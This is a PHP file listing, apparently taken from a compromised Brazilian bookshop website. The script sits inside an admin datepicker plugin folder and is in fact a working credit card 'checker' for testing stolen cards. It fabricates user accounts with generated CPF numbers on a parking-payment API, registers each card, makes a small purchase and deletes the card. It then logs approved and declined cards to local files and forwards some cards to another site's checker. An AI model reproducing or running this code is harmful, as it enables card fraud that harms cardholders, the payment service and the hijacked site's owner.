• File: api7.php
  • Full Path: /home/u820075591/domains/livrariafabris.com.br/public_html/admin/plugins/daterangepicker/api7.php
  • Date Modified: 07/17/2023 3:57 AM
  • File size: 16.05 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
    set_time_limit(0);
    error_reporting(0);
    define("COOKIES", getcwd()."/cookiesafadinhaaa.txt");
    if (file_exists(getcwd()."/cookiesafadinhaaa.txt")) {
        unlink(getcwd()."/cookiesafadinhaaa.txt");
    }
function getStr($string, $inicio, $fim, $n=1){
    $string = explode($inicio, $string);
    $string = explode($fim, $string[$n]);
    return $string[0];
}
        
    function multiexplode($delimiters, $string) {
        $one = str_replace($delimiters, $delimiters[0], $string);
        $two = explode($delimiters[0], $one);
        return $two;
    }

    $lista = $_GET['lista'];
    $cc = multiexplode(array(":", "|", ""), $lista)[0];
    $mes = multiexplode(array(":", "|", ""), $lista)[1];
    $ano = multiexplode(array(":", "|", ""), $lista)[2];
    $cvv = multiexplode(array(":", "|", ""), $lista)[3];
    $bin = multiexplode(array(":", "|", ""), $lista)[4];
    
    function TestarBin($bin){
        
    }
    function TestarBin3($bin){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://binchekr.com/lookup/'.$bin.'?brand=Brand&level=Level&type=Type&country=Country');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        $resposta = curl_exec($ch);
        $bandeira = strtoupper(getStr($resposta, 'class="fa fa-cc-', '"'));
        $banco = getStr($resposta, 'Bank Issuer</th><td><b>', '<');
        $tipo = getStr($resposta, 'Card Type</th><td>', '<');
        $categoria = getStr($resposta, 'level":"', '<');
        $pais = getStr($resposta, 'padding-left:38px;">', ' <');
        return strtoupper($bandeira." - ".$pais." - ".$tipo." - ".$banco." - ".$categoria);
    }
function TestarBin2($bin){
    $lista = file_get_contents(getcwd()."/bins.csv");
    if (strpos($lista, $bin)) {
        $bin_info = explode($bin.";", $lista);
        $bin_info = explode("\n", $bin_info[1]);
        $dados_bin = $bin_info[0];
        $dados_bin = str_replace(";", " - ", $dados_bin);
        return strtoupper($dados_bin);
    }else{
        return $bin.";;;;;;";
    }
}
    $bin = TestarBin2(substr($cc, 0,6));
    
    function getStr2($string, $start, $end) {
        $str = explode($start, $string);
        $str = explode($end, $str[1]);
        return $str[0];
    }
    function dadosnome(){
        $nome = array("Gabriel","Jose","Eduardo","Victor","Rafael","Bruno","Douglas","Marcos","Matheus","Cleiton");
        $mynome = rand(0, sizeof($nome)-1);
        $nome = $nome[$mynome];
        return $nome;
    }
    function dadossobre(){
        $sobrenome = array("Silva","Ribeiro","Rocha","Lima","Godoy","Diniz","Andrade","Oliveira","Martins","Ferreira");
        $mysobrenome = rand(0, sizeof($sobrenome)-1);
        $sobrenome = $sobrenome[$mysobrenome];
        return $sobrenome;
    }
    function email($nome){
        $email = preg_replace('<\W+>', "", $nome).rand(0000,9999)."@hotmail.com";
        return $email;
    }
    function RetornaResultado($codigo){
        $arquivo = file_get_contents(getcwd()."/_cielo.txt");
        if (strpos($arquivo, $codigo)){
            $cod = $codigo;
            $codigo = explode($codigo, $arquivo);
            $codigo = explode("\n", $codigo[1]);
            $codigo = explode("|", $codigo[0]);
            return $cod." - ".$codigo[1];
        }else{
            return $codigo." - Desconhecido.";
        }
}
    $nome = dadosnome();
    $sobrenome = dadossobre();
    $email = email($nome);

    function Dados(){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://www.4devs.com.br/ferramentas_online.php');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'Host: www.4devs.com.br',
            'Accept: application/json, text/javascript, */*; q=0.01',
            'Connection: keep-alive',
            'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
            'Referer: https://www.4devs.com.br/gerador_de_pessoas',
            'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'));
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'acao=gerar_pessoa&sexo=H&idade=22&pontuacao=S&cep_estado=&cep_cidade=');
        $resposta = curl_exec($ch);
    
        return $resposta;
    }

   # $dados = Dados();
   # $dados = json_decode($dados, true);
   # $cpf2 = $dados['cpf'];
   # $cpf = str_replace('.', '', $cpf2);
   # $cpf = str_replace('-', '', $cpf);
    
    /*
    if (strlen($mes) == 2) {
        if ($mes == "10" OR $mes == "11" OR $mes == "12") {
            $mes= $mes;
        }else{
            $mes = substr($mes, 1,1);
        }
    }

    #*/
    if (strlen($mes) == 1) {
       $mes = "0".$mes;
    }

    if (strlen($ano) == 2) {
        $ano = "20".$ano;
        #$ano = substr($ano, 2, 2);
    }
    if (substr($cc, 0, 3) == "506") {
        $op_band = "Elo";
    }
    elseif (substr($cc, 0, 3) == "509") {
        $op_band = "Elo";
    }
    elseif (substr($cc, 0, 1) == "3") {
        $op_band = "Amex";
    }
    elseif (substr($cc, 0, 1) == "4") {
        $op_band = "2";
    }
    elseif (substr($cc, 0, 1) == "5") {
        $op_band = "Master";
    }
    elseif (substr($cc, 0, 1) == "6062") {
        $op_band = "Hipercard";
    }else{
        $op_band = "Elo";
    }
    

    $cc1 = substr($cc, 0,4);
    $cc2 = substr($cc, 4,4);
    $cc3 = substr($cc, 8,4);
    $cc4 = substr($cc, 12,4);
    
    $card = $cc1."+".$cc2."+".$cc3."+".$cc4;



    function AtualizarChave(){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://www.4devs.com.br/ferramentas_online.php');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'Host: www.4devs.com.br',
            'Accept: application/json, text/javascript, */*; q=0.01',
            'Connection: keep-alive',
            'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
            'Referer: https://www.4devs.com.br/gerador_de_pessoas',
            'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'));
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'acao=gerar_pessoa&sexo=H&idade=22&pontuacao=S&cep_estado=&cep_cidade=');
        $resposta = curl_exec($ch);

        $dados = json_decode($resposta, true);
        $cpf2 = $dados['cpf'];
        $cpf = str_replace('.', '', $cpf2);
        $cpf = str_replace('-', '', $cpf);

       $link = "http://api.fab.faixa-azul.net.br/api/user/new"; 

        $headers = array('Host: api.fab.faixa-azul.net.br',
                        'Connection: keep-alive',
                        'Accept: application/json, text/plain, */*',
                        'User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; G011A Build/LMY48Z; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Safari/537.36',
                        'Content-Type: application/json',
                        'Referer: http://localhost/',
                        'Accept-Language: pt-BR,en-US;q=0.8',
                        'X-Requested-With: com.fabriciano.zonaazuldigital');

        $postdata = '{"UserDocument":"'.$cpf.'","UserName":"Elisiane De Quadros Palmeiro","UserBirthDate":"1982-01-26","UserPhoneArea":"11","UserPhoneNumber":"9810'.rand(1000, 9999).'9","UserEmail":"juju'.rand(1000000000, 99999999999).'@gmail.com","UserPassword":"sakaki123","UserAcceptTerm":true,"UserEmailSend":false,"ConcessionaryId":6}';


        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $link);
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_COOKIE, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
        $resultado = curl_exec($ch); 
    }

    $chave = file_get_contents(getcwd()."/chave.txt");

    $link = "http://api.fab.faixa-azul.net.br/api/card"; 

    $headers = array('Host: api.fab.faixa-azul.net.br',
                    'Connection: keep-alive',
                    'Accept: application/json, text/plain, */*',
                    'Authorization: Bearer '.$chave,
                    'User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; G011A Build/LMY48Z; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Safari/537.36',
                    'Content-Type: application/json',
                    'Referer: http://localhost/',
                    'Accept-Language: pt-BR,en-US;q=0.8',
                    'X-Requested-With: com.fabriciano.zonaazuldigital');

    $postdata = '{"CardName":"SANDRA NUNES","CardNumber":"'.$cc.'","CardCvc":"'.$cvv.'","CardDueMonth":"'.$mes.'","CardDueYear":"'.$ano.'","CardType":2}';


    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $link);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_COOKIE, 1);
    #curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookiesafadinhaaa.txt');
   # curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookiesafadinhaaa.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    $resultado = curl_exec($ch);
    $card_id = getStr($resultado, 'CardId":"', '"');




    $link = "http://api.fab.faixa-azul.net.br/api/purchase"; 

    $headers = array('Host: api.fab.faixa-azul.net.br',
                    'Connection: keep-alive',
                    'Accept: application/json, text/plain, */*',
                    'Authorization: Bearer '.$chave,
                    'User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; G011A Build/LMY48Z; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Safari/537.36',
                    'Content-Type: application/json',
                    'Referer: http://localhost/',
                    'Accept-Language: pt-BR,en-US;q=0.8',
                    'X-Requested-With: com.fabriciano.zonaazuldigital');

    $postdata = '{"PurchasePrice":"2.00","CardId":'.$card_id.'}';


    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $link);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_COOKIE, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    $resultado = curl_exec($ch);




    $link = "http://api.fab.faixa-azul.net.br/api/card/".$card_id; 

    $headers = array('Host: api.fab.faixa-azul.net.br',
                    'Connection: keep-alive',
                    'Accept: application/json, text/plain, */*',
                    'Authorization: Bearer '.$chave,
                    'User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; G011A Build/LMY48Z; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Safari/537.36',
                    'Content-Type: application/json',
                    'Referer: http://localhost/',
                    'Accept-Language: pt-BR,en-US;q=0.8',
                    'X-Requested-With: com.fabriciano.zonaazuldigital');


    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $link);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_COOKIE, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $resultado2 = curl_exec($ch);





   # echo $resultado;
    #echo $resultado2;
   
if (isset($_GET['v'])) {
      echo $resultado;
  }  # 


if(strpos($resultado, 'PurchaseId')) {
  echo "<tr>
  <td><label class='badge badge-success'>Aprovada</label></td>
  <td>$cc » $mes » $ano » $cvv</td>
  <td>$bin</td>
  <td>Transação capturada</td>
</tr> <br>"; 
$abrir = fopen(getcwd()."/konaicc.htm", 'a');
fwrite($abrir, $cc."|".$mes."|".$ano."|".$cvv."|".$bin."<br>");

}elseif(strpos($resultado, 'ReturnCode":"N7')){
  echo "<tr>
  <td><label class='badge badge-success'>Aprovada</label></td>
  <td>$cc » $mes » $ano » $cvv</td>
  <td>$bin</td>
  <td>Cvv incorreto (N7)</td>
</tr> <br>"; 


}elseif(strpos($resultado, 'Cartão deve ser informado')){


    sleep(rand(1, 5));

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://eliteacompanhantes.com.br/OLD-15-10/packages/chk/api7.php?lista='.$cc."|".$mes."|".$ano."|".$cvv);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_COOKIE, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $resultado = curl_exec($ch);
    echo $resultado;

}elseif(strpos($resultado, 'Saldo Insuficiente')){
  echo "<tr>
  <td><label class='badge badge-danger'>Reprovada</label></td>
  <td>$cc » $mes » $ano » $cvv</td>
  <td>$bin</td>
  <td>Saldo Insuficiente</td>
</tr> <br>";  

$abrir = fopen(getcwd()."/konaicc_sb.htm", 'a');
fwrite($abrir, $cc."|".$mes."|".$ano."|".$cvv."|".$bin."<br>");


}elseif(strpos($resultado, 'N\u00famero do cart\u00e3o de cr\u00e9dito inv\u00e1lido')){
  echo "<tr>
  <td><label class='badge badge-danger'>Reprovada</label></td>
  <td>$cc » $mes » $ano » $cvv</td>
  <td>$bin</td>
  <td>Número do cartão inválido</td>
</tr> <br>"; 
#echo $resultado;

}elseif(strpos($resultado, 'Código de segurança inválido')){
  echo "<tr>
  <td><label class='badge badge-danger'>Reprovada</label></td>
  <td>$cc » $mes » $ano » $cvv</td>
  <td>$bin</td>
  <td>CVV inválido</td>
</tr> <br>"; 
$abrir = fopen(getcwd()."/konaicc_gg.htm", 'a');
fwrite($abrir, $cc."|".$mes."|".$ano."|".$cvv."|".$bin."<br>");
#echo $resultado;

}elseif(strpos($resultado, 'ocorreu um erro ao realizar sua Compra')){
    $cod = getStr($resultado, 'ocorreu um erro ao realizar sua Compra (', ')');
  echo "<tr>
  <td><label class='badge badge-danger'>Reprovada</label></td>
  <td>$cc » $mes » $ano » $cvv</td>
  <td>$bin</td>
  <td>$cod</td>
</tr> <br>"; 
$abrir = fopen(getcwd()."/konaicc_reprovadas.htm", 'a');
fwrite($abrir, $cc."|".$mes."|".$ano."|".$cvv."|".$bin."|".$cod."<br>");

}elseif(strpos($resultado, 'N\u00e3o foi poss\u00edvel realizar o cadastro, tente novamente mais tarde')){
  echo "<tr>
  <td><label class='badge badge-danger'>Reprovada</label></td>
  <td>$cc » $mes » $ano » $cvv</td>
  <td>$bin</td>
  <td>Não processada. IP bloqueado.</td>
</tr> <br>"; 

}else {
   
  echo "<tr>
  <td><label class='badge badge-danger'>Reprovada</label></td>
  <td>$cc » $mes » $ano » $cvv</td>
  <td>$bin</td>
  <td>Erro ao processar</td>
</tr> <br>"; 
echo $resultado;
$abrir = fopen(getcwd()."/konaicc_erro.htm", 'a');
fwrite($abrir, $cc."|".$mes."|".$ano."|".$cvv."|".$bin."|".$cod."<br>");
}

?>